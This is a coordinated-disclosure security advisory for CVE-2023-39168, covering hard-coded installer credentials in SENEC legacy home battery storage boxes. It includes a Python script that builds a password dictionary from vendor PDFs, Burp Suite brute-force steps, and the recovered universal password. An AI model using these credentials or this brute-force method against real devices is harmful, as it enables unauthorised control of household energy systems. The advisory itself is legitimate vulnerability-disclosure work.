EnBw SENEC Legacy Storage Box Hardcoded Credentials

`Advisory ID: Ph0s-2023-003  
Product: EnBw - SENEC legacy storage box: V1-V3  
Manufacturer: SENEC - a part of EnBw  
Affected Version(s): Firmware: all (as of 2023-06-19)  
Tested Version(s): current  
Vulnerability Type: CWE-307: Improper Restriction of Excessive   
  
Authentication Attempts  
CWE-798: Use of Hard-coded Credentials  
  
Risk Level:   
  
CVSS v3.1 Vector:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical)  
  
Manufacturer Risk Level Rating:  
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:H/RL:U/RC:C  
Overall CVSS Score: 8.6  
  
Solution Status: Fixed  
Manufacturer Notification: 2023-06-05  
Public Disclosure: 2023-11-01  
CVE Reference: CVE-2023-39168  
Author of Advisory: Ph0s[4], R0ckE7  
  
********************************************************************************  
  
Overview:  
Foreword:   
  
This vulnerability was reported to the enbw-cert. we would like to  
thank enbw-cert for taking care of the vulns and patch the systems.  
we decided to publish when most of the reported vulns are patched  
to make sure nobody is harmed when 3rdparys exploit the mentioned vulns.   
  
  
  
About Senec:  
We are SENEC  
  
We have been the EnBW energy independence experts since 2018 – but we have  
put our heart and soul into guiding customers on the route to independence  
since SENEC was founded in 2009. Our passion lies in actively promoting the  
energy transition with innovative ideas and pioneering products. And,   
  
because we don’t do things by halves, our unwavering ambition is to create  
integrated solutions that enable you to enjoy the highest possible degree  
of independence and sustainability through self-generation of solar   
  
electricity.  
  
About SENEC Home:  
  
SENEC.Home: The smart electricity storage device for your home  
  
SENEC.Home is the heart of the your sustainable, affordable supply of solar  
electricity. The smart battery storage device stores excess electricity   
  
generated by your PV system so that you can use it when you need it – such as  
when your household’s energy consumption rises in the evening, or on rainy days  
when your PV system generates less power.  
  
********************************************************************************  
  
  
Vulnerability Details:  
  
Based on the previously identified hard-coded username in CVE-2023-39167 and  
CVE-2023-39168 all technical requirements were met to target the password.   
  
Since the username installateur is quite straightforward in the sense of   
  
guessable, it was decided to perform a dictonary-type brute force attack.   
  
For this purpose, all related PDF documents were downloaded to create a password  
list specifically tailored to SENEC.Inverter.   
  
Source of the Documents: https://senec.com/au/company/downloads  
  
********************************************************************************  
  
Proof of Concept (PoC):  
  
The attack consists of the following steps:  
  
1. parse the documents :  
import argparse  
import glob  
import string  
import fitz  
  
  
def get_senec_password(pdf_directory, pwd_prefix, pwd_suffix):  
pdf_text = ""  
for file in glob.glob(f"{pdf_directory}/*.pdf"):  
pdf = fitz.open(file)  
for page in pdf:  
pdf_text += page.get_text()  
  
pdf_words = set(  
[word.strip(string.punctuation) for word in pdf_text.split() if word.strip(string.punctuation).isalnum()]  
)  
senec_password = set(  
[f"{pwd_prefix}{word}{pwd_suffix}" for word in pdf_words if not word.isnumeric()]  
)  
  
with open("senec-password.txt", mode="w", encoding="utf-8") as fd:  
fd.write('\n'.join(senec_password))  
  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser(description="Generate SENEC.Inverter password dictionary")  
parser.add_argument("-d", "--pdf-directory", type=str, action="store", default="pdf", required=False,  
help="pdf storage location")  
parser.add_argument("-p", "--pwd-prefix", type=str, action="store", default="Senec", required=False,  
help="password prefix")  
parser.add_argument("-s", "--pwd-suffix", type=str, action="store", default="", required=False,  
help="password suffix")  
args = parser.parse_args()  
get_senec_password(args.pdf_directory, args.pwd_prefix, args.pwd_suffix)  
  
  
2. work with the output:  
The Python script extracts all words from all PDF documents and allows to add a prefix  
and/or suffix to generate passwords according to the pattern {prefix}{word}{suffix} ,  
such as the following:  
***** cut *******  
Senecmoribundity  
SenecCleaning  
Senecdusts  
Senecclinical  
Senecaggregation  
Senecstubborn  
Senecstorages  
SenecDecommissioning  
SenecInstall  
Senecmany  
***** cut ********  
  
3) use the list within burpsuite  
The password lists were then used in Burp Suite Professional, a tool   
  
specifically designed for web application security testing, to perform an   
  
automated brute force attack.  
The list shown above as an excerpt with the prefix Senec and no suffix was   
  
finally successful in executing the attack.  
It could be determined that the password "SenecInstall" is valid for all  
SENEC.Inverter devices.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Solution:  
Patched by Manufacturer  
(Rolled out until September 11, 2023)  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Disclosure Timeline:  
  
2022-06-01: Vulnerability discovered  
2023-06-05: Vulnerability reported to manufacturer  
2023-09-11: Patch rollout by manufacturer to affected devices  
2023-11-01: Public disclosure of vulnerability  
  
  
************************************************************************  
  
Researcher:  
Ph0s[4], R0ckE7  
  
************************************************************************  
  
Disclaimer:  
  
The information provided in this security advisory is provided "as is"  
and without warranty of any kind. Details of this security advisory may  
be updated in order to provide as accurate information as possible.   
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Copyright:  
  
Creative Commons - Attribution (by) - Version 4.0  
URL: https://creativecommons.org/licenses/by/4.0/deed.en  
  
`